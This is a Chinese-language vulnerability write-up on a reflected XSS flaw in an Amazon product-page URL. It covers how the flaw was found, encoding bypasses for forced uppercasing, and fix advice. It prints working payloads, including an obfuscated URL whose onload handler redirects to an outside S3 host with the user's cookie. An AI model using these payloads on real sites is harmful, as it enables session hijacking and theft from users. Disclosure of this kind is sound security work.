挖洞经验 | 看我如何发现亚马逊网站的反射型XSS漏洞
字数 1324 2025-08-18 11:37:23

亚马逊反射型XSS漏洞挖掘与分析

漏洞概述

本文详细记录了在亚马逊网站中发现的一个反射型XSS(跨站脚本)漏洞的完整挖掘过程。该漏洞存在于亚马逊的一个内部应用(masclient)的产品页面URL参数中,攻击者可通过精心构造的恶意URL实现跨站脚本攻击,可能导致用户会话劫持、敏感信息泄露等安全问题。

漏洞发现背景

  • 研究者通过开发scroll.am网站(亚马逊快速浏览方式)来提升前端和后端技能
  • 在研究过程中对亚马逊网站架构和A/B测试策略产生兴趣
  • 决定通过反编译亚马逊安卓APP来了解其网站架构设计

漏洞挖掘过程

1. 反编译亚马逊APP

  • 下载APK文件并使用在线反编译器提取代码
  • 搜索产品页面特有的'/dp/'字段
  • 发现一个特殊的产品页面URL格式:https://www.amazon.com/gp/masclient/dp/<product_id>

2. 测试URL参数

  • 测试发现产品ID参数存在以下特性:
    • 未进行适当输入检查
    • 所有输入被自动转换为大写
    • 可注入HTML标签但存在某些限制

3. 尝试XSS注入

初始测试使用<marquee><h1>hi mom!作为产品ID:

https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch1%3Ehi%20mom!

发现注入成功,但面临两个主要限制:

  1. 所有输入被大写化(如alert变为ALERT)
  2. 闭合标签如</script>会导致404错误

绕过技术

1. 绕过大写限制

采用HTML实体字符编码技术:

  • 将纯文本字符转换为HTML实体字符
  • 再进行URL编码
  • 使用SVG标记的onload参数输出

示例:

<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>

2. 绕过闭合标签限制

  • 使用<svg onload=javascript:alert(1)>实现JS注入
  • 或使用特殊字符突破限制:"}');}JAVASCRIPTHERE;{("

3. 使用JSFuck编码

由于URL长度限制(约3500字符),无法使用完整JSFuck编码的窃取cookie代码,但可用于简单弹窗:

https://www.amazon.com/gp/masclient/dp/'%7D");%7D[

浏览器兼容性问题

  • Chrome浏览器(67.0.3396.62+)的XSS Auditor会阻止攻击
  • 使用Firefox(60.0.1)进行验证测试

最终PoC攻击

构造的恶意URL可实现:

  1. 重定向用户到外部URL
  2. 窃取用户cookie
  3. 记录用户所有亚马逊浏览操作
  4. 展示假冒登录页面窃取凭证

最终Payload

URL编码形式:

https://www.amazon.com/gp/masclient/dp/%22%7D%27%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%23x2E%3B%26%23x72%3B%26%23x65%3B%26%23x70%3B%26%23x6C%3B%26%23x61%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x73%3B%26%23x33%3B%26%23x2D%3B%26%23x65%3B%26%23x75%3B%26%23x2D%3B%26%23x77%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x2D%3B%26%23x31%3B%26%23x2E%3B%26%23x61%3B%26%23x6D%3B%26%23x61%3B%26%23x7A%3B%26%23x6F%3B%26%23x6E%3B%26%23x61%3B%26%23x77%3B%26%23x73%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6D%3B%26%23x2F%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x69%3B%26%23x6E%3B%26%23x67%3B%26%23x2D%3B%26%23x74%3B%26%23x61%3B%26%23x72%3B%26%23x67%3B%26%23x65%3B%26%23x74%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x31%3B%26%23x2E%3B%26%23x68%3B%26%23x74%3B%26%23x6D%3B%26%23x6C%3B%26%23x3F%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x3D%3B%26%23x27%3B%26%23x2B%3B%26%23x65%3B%26%23x73%3B%26%23x63%3B%26%23x61%3B%26%23x70%3B%26%23x65%3B%26%23x28%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x29%3B%26%23x29%3B%3E

解码后等效于:

https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace('https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>

漏洞修复建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 实施内容安全策略(CSP)
  3. 对内部应用进行严格的安全审查
  4. 限制URL参数的长度和特殊字符
  5. 对输出到页面的数据进行HTML编码

经验总结

  1. 内部应用往往安全审查不足,容易成为攻击入口
  2. XSS payload可通过混淆编码方式绕过某些限制
  3. 漏洞挖掘需要耐心和多种技术尝试
  4. 即使是大型企业如亚马逊也可能存在XSS漏洞
  5. 浏览器安全机制(XSS Auditor)可以有效阻止部分攻击

参考技术

  • JSFuck:仅使用6个字符(!+)编写JS代码的技术
  • HTML实体编码:将字符转换为实体形式如& #x61;(实际使用时需去掉空格)
  • URL编码:将特殊字符转换为%加十六进制形式
  • SVG标签:可用于执行JavaScript的矢量图形标签
亚马逊反射型XSS漏洞挖掘与分析 漏洞概述 本文详细记录了在亚马逊网站中发现的一个反射型XSS(跨站脚本)漏洞的完整挖掘过程。该漏洞存在于亚马逊的一个内部应用(masclient)的产品页面URL参数中,攻击者可通过精心构造的恶意URL实现跨站脚本攻击,可能导致用户会话劫持、敏感信息泄露等安全问题。 漏洞发现背景 研究者通过开发 scroll.am 网站(亚马逊快速浏览方式)来提升前端和后端技能 在研究过程中对亚马逊网站架构和A/B测试策略产生兴趣 决定通过反编译亚马逊安卓APP来了解其网站架构设计 漏洞挖掘过程 1. 反编译亚马逊APP 下载APK文件并使用在线反编译器提取代码 搜索产品页面特有的'/dp/'字段 发现一个特殊的产品页面URL格式: https://www.amazon.com/gp/masclient/dp/<product_id> 2. 测试URL参数 测试发现产品ID参数存在以下特性: 未进行适当输入检查 所有输入被自动转换为大写 可注入HTML标签但存在某些限制 3. 尝试XSS注入 初始测试使用 <marquee><h1>hi mom! 作为产品ID: 发现注入成功,但面临两个主要限制: 所有输入被大写化(如alert变为ALERT) 闭合标签如 </script> 会导致404错误 绕过技术 1. 绕过大写限制 采用HTML实体字符编码技术: 将纯文本字符转换为HTML实体字符 再进行URL编码 使用SVG标记的onload参数输出 示例: 2. 绕过闭合标签限制 使用 <svg onload=javascript:alert(1)> 实现JS注入 或使用特殊字符突破限制: "}');}JAVASCRIPTHERE;{(" 3. 使用JSFuck编码 由于URL长度限制(约3500字符),无法使用完整JSFuck编码的窃取cookie代码,但可用于简单弹窗: 浏览器兼容性问题 Chrome浏览器(67.0.3396.62+)的XSS Auditor会阻止攻击 使用Firefox(60.0.1)进行验证测试 最终PoC攻击 构造的恶意URL可实现: 重定向用户到外部URL 窃取用户cookie 记录用户所有亚马逊浏览操作 展示假冒登录页面窃取凭证 最终Payload URL编码形式: 解码后等效于: 漏洞修复建议 对所有用户输入进行严格的过滤和转义 实施内容安全策略(CSP) 对内部应用进行严格的安全审查 限制URL参数的长度和特殊字符 对输出到页面的数据进行HTML编码 经验总结 内部应用往往安全审查不足,容易成为攻击入口 XSS payload可通过混淆编码方式绕过某些限制 漏洞挖掘需要耐心和多种技术尝试 即使是大型企业如亚马逊也可能存在XSS漏洞 浏览器安全机制(XSS Auditor)可以有效阻止部分攻击 参考技术 JSFuck :仅使用6个字符( !+)编写JS代码的技术 HTML实体编码 :将字符转换为实体形式如 & #x61; (实际使用时需去掉空格) URL编码 :将特殊字符转换为%加十六进制形式 SVG标签 :可用于执行JavaScript的矢量图形标签